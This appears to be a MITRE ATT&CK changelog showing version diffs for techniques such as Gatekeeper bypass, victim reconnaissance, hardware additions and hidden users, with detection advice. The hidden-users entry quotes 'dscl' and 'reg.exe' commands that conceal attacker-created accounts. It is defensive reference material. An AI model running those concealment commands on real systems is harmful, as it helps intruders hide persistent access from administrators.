| external_references[4]['description'] | Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017. | hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021. |
| external_references[4]['url'] | https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ | https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/ |
| x_mitre_data_sources[0] | File monitoring | File: File Metadata |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Modification |
| x_mitre_detection | Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. | The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates.
Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag.
QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'theevilbit gatekeeper bypass 2021', 'description': 'Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.', 'url': 'https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/'} | |
| external_references | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'Clearing quarantine attribute', 'description': 'Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.', 'url': 'https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/'} | |
| external_references | {'source_name': 'OceanLotus for OS X', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's hosts |
| > | tion about the victim's hosts that can be used during target | > | that can be used during targeting. Information about hosts m | ||
| > | ing. Information about hosts may include a variety of detail | > | ay include a variety of details, including administrative da | ||
| > | s, including administrative data (ex: name, assigned IP, fun | > | ta (ex: name, assigned IP, functionality, etc.) as well as s | ||
| > | ctionality, etc.) as well as specifics regarding its configu | > | pecifics regarding its configuration (ex: operating system, | ||
| > | ration (ex: operating system, language, etc.). Adversaries | > | language, etc.). Adversaries may gather this information in | ||
| > | may gather this information in various ways, such as direct | > | various ways, such as direct collection actions via [Active | ||
| > | collection actions via [Active Scanning](https://attack.mitr | > | Scanning](https://attack.mitre.org/techniques/T1595) or [Ph | ||
| > | e.org/techniques/T1595) or [Phishing for Information](https: | > | ishing for Information](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1598). Adversaries may also c | > | T1598). Adversaries may also compromise sites then include m | ||
| > | ompromise sites then include malicious content designed to c | > | alicious content designed to collect host information from v | ||
| > | ollect host information from visitors.(Citation: ATT ScanBox | > | isitors.(Citation: ATT ScanBox) Information about hosts may | ||
| > | ) Information about hosts may also be exposed to adversaries | > | also be exposed to adversaries via online or other accessibl | ||
| > | via online or other accessible data sets (ex: [Social Media | > | e data sets (ex: [Social Media](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1593/001) or [Search | > | hniques/T1593/001) or [Search Victim-Owned Websites](https:/ | ||
| > | Victim-Owned Websites](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1594)). Gathering this informa | ||
| > | 1594)). Gathering this information may reveal opportunities | > | tion may reveal opportunities for other forms of reconnaissa | ||
| > | for other forms of reconnaissance (ex: [Search Open Websites | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593) or [Sea | > | .org/techniques/T1593) or [Search Open Technical Databases]( | ||
| > | rch Open Technical Databases](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1596)), establishing op | ||
| > | iques/T1596)), establishing operational resources (ex: [Deve | > | erational resources (ex: [Develop Capabilities](https://atta | ||
| > | lop Capabilities](https://attack.mitre.org/techniques/T1587) | > | ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http | ||
| > | or [Obtain Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588)), and/or initial acce | ||
| > | s/T1588)), and/or initial access (ex: [Supply Chain Compromi | > | ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t | ||
| > | se](https://attack.mitre.org/techniques/T1195) or [External | > | echniques/T1195) or [External Remote Services](https://attac | ||
| > | Remote Services](https://attack.mitre.org/techniques/T1133)) | > | k.mitre.org/techniques/T1133)). | ||
| > | . | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:39.351000+00:00 | 2021-10-17 16:35:09.878000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's organi |
| > | tion about the victim's organization that can be used during | > | zation that can be used during targeting. Information about | ||
| > | targeting. Information about an organization may include a | > | an organization may include a variety of details, including | ||
| > | variety of details, including the names of divisions/departm | > | the names of divisions/departments, specifics of business op | ||
| > | ents, specifics of business operations, as well as the roles | > | erations, as well as the roles and responsibilities of key e | ||
| > | and responsibilities of key employees. Adversaries may gat | > | mployees. Adversaries may gather this information in variou | ||
| > | her this information in various ways, such as direct elicita | > | s ways, such as direct elicitation via [Phishing for Informa | ||
| > | tion via [Phishing for Information](https://attack.mitre.org | > | tion](https://attack.mitre.org/techniques/T1598). Informatio | ||
| > | /techniques/T1598). Information about an organization may al | > | n about an organization may also be exposed to adversaries v | ||
| > | so be exposed to adversaries via online or other accessible | > | ia online or other accessible data sets (ex: [Social Media]( | ||
| > | data sets (ex: [Social Media](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1593/001) or [Search Vi | ||
| > | iques/T1593/001) or [Search Victim-Owned Websites](https://a | > | ctim-Owned Websites](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1594)).(Citation: ThreatPost Bro | > | 94)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC ED | ||
| > | advoice Leak)(Citation: DOB Business Lookup) Gathering this | > | GAR Search) Gathering this information may reveal opportunit | ||
| > | information may reveal opportunities for other forms of reco | > | ies for other forms of reconnaissance (ex: [Phishing for Inf | ||
| > | nnaissance (ex: [Phishing for Information](https://attack.mi | > | ormation](https://attack.mitre.org/techniques/T1598) or [Sea | ||
| > | tre.org/techniques/T1598) or [Search Open Websites/Domains]( | > | rch Open Websites/Domains](https://attack.mitre.org/techniqu | ||
| > | https://attack.mitre.org/techniques/T1593)), establishing op | > | es/T1593)), establishing operational resources (ex: [Establi | ||
| > | erational resources (ex: [Establish Accounts](https://attack | > | sh Accounts](https://attack.mitre.org/techniques/T1585) or [ | ||
| > | .mitre.org/techniques/T1585) or [Compromise Accounts](https: | > | Compromise Accounts](https://attack.mitre.org/techniques/T15 | ||
| > | //attack.mitre.org/techniques/T1586)), and/or initial access | > | 86)), and/or initial access (ex: [Phishing](https://attack.m | ||
| > | (ex: [Phishing](https://attack.mitre.org/techniques/T1566) | > | itre.org/techniques/T1566) or [Trusted Relationship](https:/ | ||
| > | or [Trusted Relationship](https://attack.mitre.org/technique | > | /attack.mitre.org/techniques/T1199)). | ||
| > | s/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:36.479000+00:00 | 2021-08-27 15:37:09.343000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
| external_references[2]['source_name'] | DOB Business Lookup | SEC EDGAR Search |
| external_references[2]['description'] | Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020. | U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. |
| external_references[2]['url'] | https://www.dobsearch.com/business-lookup/ | https://www.sec.gov/edgar/search-and-access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Itamar Mizrahi, Cymptom'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 12:59:10.840000+00:00 | 2020-11-05 16:07:03.779000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Active Directory: Active Directory Credential Request |
| x_mitre_data_sources[1] | Windows event logs | Logon Session: Logon Session Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host h |
| > | tion about the victim's host hardware that can be used durin | > | ardware that can be used during targeting. Information about | ||
| > | g targeting. Information about hardware infrastructure may i | > | hardware infrastructure may include a variety of details su | ||
| > | nclude a variety of details such as types and versions on sp | > | ch as types and versions on specific hosts, as well as the p | ||
| > | ecific hosts, as well as the presence of additional componen | > | resence of additional components that might be indicative of | ||
| > | ts that might be indicative of added defensive protections ( | > | added defensive protections (ex: card/biometric readers, de | ||
| > | ex: card/biometric readers, dedicated encryption hardware, e | > | dicated encryption hardware, etc.). Adversaries may gather | ||
| > | tc.). Adversaries may gather this information in various wa | > | this information in various ways, such as direct collection | ||
| > | ys, such as direct collection actions via [Active Scanning]( | > | actions via [Active Scanning](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1595) (ex: hostnames, s | > | iques/T1595) (ex: hostnames, server banners, user agent stri | ||
| > | erver banners, user agent strings) or [Phishing for Informat | > | ngs) or [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598). Adversaries | > | techniques/T1598). Adversaries may also compromise sites the | ||
| > | may also compromise sites then include malicious content de | > | n include malicious content designed to collect host informa | ||
| > | signed to collect host information from visitors.(Citation: | > | tion from visitors.(Citation: ATT ScanBox) Information about | ||
| > | ATT ScanBox) Information about the hardware infrastructure m | > | the hardware infrastructure may also be exposed to adversar | ||
| > | ay also be exposed to adversaries via online or other access | > | ies via online or other accessible data sets (ex: job postin | ||
| > | ible data sets (ex: job postings, network maps, assessment r | > | gs, network maps, assessment reports, resumes, or purchase i | ||
| > | eports, resumes, or purchase invoices). Gathering this infor | > | nvoices). Gathering this information may reveal opportunitie | ||
| > | mation may reveal opportunities for other forms of reconnais | > | s for other forms of reconnaissance (ex: [Search Open Websit | ||
| > | sance (ex: [Search Open Websites/Domains](https://attack.mit | > | es/Domains](https://attack.mitre.org/techniques/T1593) or [S | ||
| > | re.org/techniques/T1593) or [Search Open Technical Databases | > | earch Open Technical Databases](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1596)), establishing | > | hniques/T1596)), establishing operational resources (ex: [De | ||
| > | operational resources (ex: [Develop Capabilities](https://at | > | velop Capabilities](https://attack.mitre.org/techniques/T158 | ||
| > | tack.mitre.org/techniques/T1587) or [Obtain Capabilities](ht | > | 7) or [Obtain Capabilities](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1588)), and/or initial ac | > | ues/T1588)), and/or initial access (ex: [Compromise Hardware | ||
| > | cess (ex: [Compromise Hardware Supply Chain](https://attack. | > | Supply Chain](https://attack.mitre.org/techniques/T1195/003 | ||
| > | mitre.org/techniques/T1195/003) or [Hardware Additions](http | > | ) or [Hardware Additions](https://attack.mitre.org/technique | ||
| > | s://attack.mitre.org/techniques/T1200)). | > | s/T1200)). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:03.353000+00:00 | 2021-10-17 16:32:10.810000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may introduce computer accessories, computers, o | t | 1 | Adversaries may introduce computer accessories, computers, o |
| > | r networking hardware into a system or network that can be u | > | r networking hardware into a system or network that can be u | ||
| > | sed as a vector to gain access. While public references of u | > | sed as a vector to gain access. While public references of u | ||
| > | sage by APT groups are scarce, many penetration testers leve | > | sage by threat actors are scarce, many red teams/penetration | ||
| > | rage hardware additions for initial access. Commercial and o | > | testers leverage hardware additions for initial access. Com | ||
| > | pen source products are leveraged with capabilities such as | > | mercial and open source products can be leveraged with capab | ||
| > | passive network tapping (Citation: Ossmann Star Feb 2011), m | > | ilities such as passive network tapping (Citation: Ossmann S | ||
| > | an-in-the middle encryption breaking (Citation: Aleks Weapon | > | tar Feb 2011), network traffic modification (i.e. [Adversary | ||
| > | s Nov 2015), keystroke injection (Citation: Hak5 RubberDuck | > | -in-the-Middle](https://attack.mitre.org/techniques/T1557)) | ||
| > | Dec 2016), kernel memory reading via DMA (Citation: Frisk DM | > | (Citation: Aleks Weapons Nov 2015), keystroke injection (Cit | ||
| > | A August 2016), adding new wireless access to an existing ne | > | ation: Hak5 RubberDuck Dec 2016), kernel memory reading via | ||
| > | twork (Citation: McMillan Pwn March 2012), and others. | > | DMA (Citation: Frisk DMA August 2016), addition of new wirel | ||
| > | ess access to an existing network (Citation: McMillan Pwn Ma | ||||
| > | rch 2012), and others. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Asset management', 'Data loss prevention'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:12:48.086000+00:00 | 2021-08-17 00:28:00.947000+00:00 |
| description | Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others. | Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others. |
| external_references[3]['url'] | http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx | https://www.youtube.com/watch?v=lDvf4ScWbcQ |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use hidden users to mask the presence of use | t | 1 | Adversaries may use hidden users to mask the presence of use |
| > | r accounts they create. Every user account in macOS has a us | > | r accounts they create or modify. Normal users may want to h | ||
| > | erID associated with it. When creating a user, you can speci | > | ide users when there are many users accounts on a given syst | ||
| > | fy the userID for that account. There is a property value i | > | em or want to keep an account hidden from the other users on | ||
| > | n <code>/Library/Preferences/com.apple.loginwindow</code> ca | > | the system. In macOS, every user account has a userID asso | ||
| > | lled <code>Hide500Users</code> that prevents users with user | > | ciated with it. When creating a user, you can specify the us | ||
| > | IDs 500 and lower from appearing at the login screen. When u | > | erID for that account. There is a property value in <code>/L | ||
| > | sing the [Create Account](https://attack.mitre.org/technique | > | ibrary/Preferences/com.apple.loginwindow</code> called <code | ||
| > | s/T1136) technique with a userID under 500 (ex: <code>sudo d | > | >Hide500Users</code> that prevents users with userIDs 500 an | ||
| > | scl . -create /Users/username UniqueID 401</code>) and enabl | > | d lower from appearing at the login screen. When using the [ | ||
| > | ing this property (setting it to Yes), an adversary can conc | > | Create Account](https://attack.mitre.org/techniques/T1136) t | ||
| > | eal user accounts. (Citation: Cybereason OSX Pirrit). | > | echnique with a userID under 500 (ex: <code>sudo dscl . -cre | ||
| > | ate /Users/username UniqueID 401</code>) and enabling this p | ||||
| > | roperty (setting it to Yes), an adversary can conceal user a | ||||
| > | ccounts. (Citation: Cybereason OSX Pirrit) In Windows, adve | ||||
| > | rsaries may hide user accounts via settings in the Registry. | ||||
| > | For example, an adversary may add a value to the Windows Re | ||||
| > | gistry (via [Reg](https://attack.mitre.org/software/S0075) o | ||||
| > | r other means) that will hide the user “test” from the Windo | ||||
| > | ws login screen: <code>reg.exe ADD 'HKLM\SOFTWARE\Microsoft\ | ||||
| > | Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' | ||||
| > | /v test /t REG_DWORD /d 0 /f</code>.(Citation: FireEye SMOKE | ||||
| > | DHAM June 2021)(Citation: US-CERT TA18-074A) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Omkar Gudhate'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-31 17:42:43.768000+00:00 | 2021-10-14 20:22:03.625000+00:00 |
| description | Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit). | Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.
In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)
In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A) |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Authentication logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs. | This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, "hidden" users may still get a home directory and will appear in the authentication logs.
Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList key. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye SMOKEDHAM June 2021', 'description': 'FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html'} | |
| external_references | {'source_name': 'US-CERT TA18-074A', 'description': 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | User Account: User Account Creation | |
| x_mitre_data_sources | User Account: User Account Metadata | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_platforms | Windows |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
